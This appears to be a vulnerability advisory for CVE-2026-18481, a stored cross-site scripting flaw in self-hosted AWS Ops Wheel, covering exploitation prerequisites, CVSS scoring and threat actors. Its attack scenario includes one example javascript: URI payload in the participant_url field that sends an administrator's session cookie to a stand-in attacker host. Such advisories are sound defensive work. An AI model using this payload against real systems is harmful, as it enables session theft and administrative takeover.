AWS Ops Wheel CVE-2026-18481

Exploitation requires the attacker to hold a valid authenticated account on the target AWS Ops Wheel instance (CVSS PR:L) with sufficient permissions to create or modify participant entries - this is not exploitable by unauthenticated remote users. Additionally, a victim user with a higher privilege level (ideally an administrator) must actively view the page rendering the poisoned participant_url (CVSS UI:A); without victim interaction, the stored payload does not execute. The dangerous URI scheme must not be stripped or blocked by any upstream reverse proxy or CSP policy in the deployment. Exploitation is limited to self-hosted instances of AWS Ops Wheel - there is no indication this affects any managed AWS service. The non-default condition is the attacker already possessing a low-privilege account, which limits opportunistic internet-scale exploitation.

The CVSS 4.0 score of 6.2 (vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N) fairly represents the real-world risk profile: the high subsequent-system impact (SC:H/SI:H) reflects the potential for full admin takeover, but exploitation is gated behind two prerequisites - authenticated access (PR:L) and a victim administrator actively viewing the poisoned entry (UI:A) - which substantially reduce the likelihood of opportunistic mass exploitation. No EPSS score was provided in the input data, so exploitation probability cannot be quantified. There is no CISA KEV listing and no public proof-of-concept identified, indicating no confirmed active exploitation campaign. The most realistic threat actor is a malicious insider or a compromised low-privilege account seeking privilege escalation within an organization's deployed Ops Wheel instance. The gap between raw CVSS subsequent-system severity and actual exploitability reflects a genuine but bounded risk - serious within scope but not a widespread internet-facing threat.

An attacker with a low-privilege authenticated account submits a participant entry whose participant_url field contains a javascript: URI (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)) and saves it to the application. When an administrator subsequently opens the participant list or detail view, the stored payload executes silently in their browser, transmitting the admin session cookie to the attacker's server. With the stolen token, the attacker replays the session and assumes full administrative control of the Ops Wheel instance without needing to know the admin's credentials. No public proof-of-concept is confirmed, but this is a straightforward stored XSS pattern requiring no specialized tooling.